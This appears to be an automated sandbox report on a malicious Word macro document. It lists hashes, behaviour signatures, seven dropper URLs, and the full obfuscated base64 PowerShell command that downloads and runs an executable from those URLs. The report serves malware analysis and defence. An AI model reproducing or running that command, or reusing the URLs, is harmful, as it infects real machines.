Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 02:51

General

  • Target

    65c1b7e830158f8b0cecb98ce5f3314a_JaffaCakes118.doc

  • Size

    177KB

  • MD5

    65c1b7e830158f8b0cecb98ce5f3314a

  • SHA1

    5f418d4fa57c6729975f400df437fd1320caf718

  • SHA256

    a4ea07f63c702a260cfc87703c09e635cf2fab0a0ed510439a57936ee5f6d4b8

  • SHA512

    cf95b68078c7b4e2661ff5fda202b4d8d7b854fdb737883c1b9afff81ec151da832961dc9fe375d4a644af97062823f05407904f4a95e2c0f17e4cd838cd28d6

  • SSDEEP

    1536:d2B72BYrdi1Ir77zOH98Wj2gpngd+a9cqPWjD2kKjHDYs+sbM+Sy1l4:WrfrzOH98ipgUi2SHDYsDM+Sy1l4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://msmartyford.com/assets/BIO/

exe.dropper

http://jiafunongye.com/application/zh3/

exe.dropper

http://calledtochange.org/CalledtoChange/Uh/

exe.dropper

https://janataralo.com/public_html/k/

exe.dropper

https://www.breedenandsilver.com/wp-content/j/

exe.dropper

http://valleymedicalandsurgicalclinic.com/ujftb/p/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\65c1b7e830158f8b0cecb98ce5f3314a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABKADMAYQBqADkAcgBpAD0AKAAnAFcAJwArACcAOAAnACsAKAAnADgAbwAnACsAJwBrADAAZQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBwAHIATwBGAGkAbABFAFwAZwBQAGYAMQBTAFkAeABcAEYAOQBxAFMAbgAzAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQBSAEkAdAB5AHAAUgBPAFQAYABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAZwBtAHEAbQBuAGIAIAA9ACAAKAAoACcARQB2ADQANQAnACsAJwBlACcAKwAnADMAJwApACsAJwBoAG4AJwApADsAJABLAHUAMABoAG8AYgAwAD0AKAAnAEgAZAAnACsAKAAnAHUAbQAzAGYAJwArACcAMwAnACkAKQA7ACQAQQBtAGQAMwA4AHkAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADIAJwArACcAQwB1ACcAKQArACcARwAnACsAKAAnAHAAZgAxAHMAeQAnACsAJwB4ACcAKQArACgAJwAyAEMAdQBGADkAJwArACcAcQAnACkAKwAoACcAcwBuACcAKwAnADMAeAAnACkAKwAnADIAQwAnACsAJwB1ACcAKQAuACIAUgBlAHAATABgAEEAQwBFACIAKAAoAFsAYwBoAEEAUgBdADUAMAArAFsAYwBoAEEAUgBdADYANwArAFsAYwBoAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKwAkAFQAZwBtAHEAbQBuAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNADYAdgAzAGoAcABrAD0AKAAoACcAVAAnACsAJwBtADMAXwAnACkAKwAoACcANQA5ACcAKwAnAHYAJwApACkAOwAkAEgANgByAGIAdwBiAGoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAQwBMAEkAZQBuAHQAOwAkAEkAMwBrAHgAdQB3AG8APQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtACcAKwAnAHMAJwApACsAKAAnAG0AYQAnACsAJwByAHQAeQAnACsAJwBmAG8AcgAnACkAKwAnAGQALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACgAJwBzAC8AJwArACcAQgBJAE8AJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGoAaQBhACcAKwAnAGYAdQBuAG8AbgAnACsAJwBnAHkAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYQAnACsAKAAnAHAAJwArACcAcABsACcAKwAnAGkAYwBhAHQAaQAnACsAJwBvAG4AJwApACsAJwAvACcAKwAnAHoAJwArACcAaAAzACcAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwBjACcAKwAnAGEAbAAnACsAKAAnAGwAJwArACcAZQBkAHQAJwApACsAKAAnAG8AYwAnACsAJwBoACcAKQArACcAYQAnACsAKAAnAG4AJwArACcAZwBlACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACcAbABsACcAKwAoACcAZQBkAHQAbwAnACsAJwBDACcAKwAnAGgAYQBuAGcAJwArACcAZQAvAFUAJwApACsAKAAnAGgALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAagBhAG4AYQB0ACcAKQArACcAYQByACcAKwAnAGEAJwArACcAbAAnACsAKAAnAG8AJwArACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwBwAHUAYgBsAGkAJwArACcAYwAnACsAJwBfAGgAdABtAGwALwBrACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzACcAKwAnADoALwAvAHcAdwB3AC4AJwArACcAYgByACcAKQArACgAJwBlACcAKwAnAGUAZABlACcAKwAnAG4AYQBuAGQAcwBpAGwAJwApACsAKAAnAHYAZQByACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdgAnACkAKwAnAGEAbAAnACsAKAAnAGwAZQB5ACcAKwAnAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGMAYQBsACcAKQArACgAJwBhACcAKwAnAG4AZABzACcAKQArACgAJwB1AHIAJwArACcAZwAnACkAKwAnAGkAYwAnACsAKAAnAGEAbABjAGwAJwArACcAaQAnACkAKwAoACcAbgBpAGMALgBjAG8AJwArACcAbQAvACcAKwAnAHUAagAnACkAKwAnAGYAdAAnACsAJwBiAC8AJwArACgAJwBwACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAGMAaQAnACkAKwAnAG0AJwArACcAcwBqACcAKwAoACcAcgAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAGgAJwArACcAbwBzAHAAJwArACcAaQB0AGEAJwApACsAKAAnAGwALwB4ACcAKwAnADIAJwApACsAJwBmAC8AJwApAC4AIgBTAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQB0ADkAagBxAHIAPQAoACcAWQAnACsAKAAnADYAYQAnACsAJwA3ACcAKQArACgAJwB1AG0AJwArACcAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAaAB6AGMAagBqAHMAIABpAG4AIAAkAEkAMwBrAHgAdQB3AG8AKQB7AHQAcgB5AHsAJABIADYAcgBiAHcAYgBqAC4AIgBkAGAAbwB3AG4ATABgAG8AYQBgAGQAZgBpAGwAZQAiACgAJABCAGgAegBjAGoAagBzACwAIAAkAEEAbQBkADMAOAB5ADgAKQA7ACQAQQB3AHkAOQB3AHcAcQA9ACgAJwBHAGYAJwArACgAJwBxAGMAagAnACsAJwBfADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQQBtAGQAMwA4AHkAOAApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADMANQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAG0AZAAzADgAeQA4ACkAOwAkAFoAegBoAHcANgA5AGEAPQAoACgAJwBTACcAKwAnADUAbwAnACkAKwAoACcAcAAnACsAJwBvAGkAJwApACsAJwBwACcAKQA7AGIAcgBlAGEAawA7ACQASQAwAGgAawB4ADAAYgA9ACgAJwBPACcAKwAoACcAeQBlAF8AJwArACcAbwB3ADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB1AHgAZwA1AGcAPQAoACgAJwBRACcAKwAnAHUANwAzACcAKQArACcAYgAnACsAJwB2ADcAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2452

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      09cad741c37c5858280131ed72ccec41

      SHA1

      f232bfa20e2b032e385ba4635238e05c7641692a

      SHA256

      bcb9cac9b092a0e9300bb316ef45b72bb7efd66e7997f1a5465fd8df54628437

      SHA512

      bb7fa9f596ae475fb437e8f75154302e47c4c6e4c7ba8f129ac6cb209ec2334421470bdcf60139ca1c64e5a7aa9220d8dcc9f8e3f21fc7a4656ee791f613831a

    • memory/2452-39-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

      Filesize

      2.9MB

    • memory/2452-40-0x0000000002290000-0x0000000002298000-memory.dmp

      Filesize

      32KB

    • memory/2972-33-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-2-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB

    • memory/2972-22-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-31-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-32-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-0-0x000000002F7C1000-0x000000002F7C2000-memory.dmp

      Filesize

      4KB

    • memory/2972-7-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-21-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-46-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB

    • memory/2972-47-0x0000000004E70000-0x0000000004F70000-memory.dmp

      Filesize

      1024KB

    • memory/2972-48-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2972-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2972-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2972-69-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB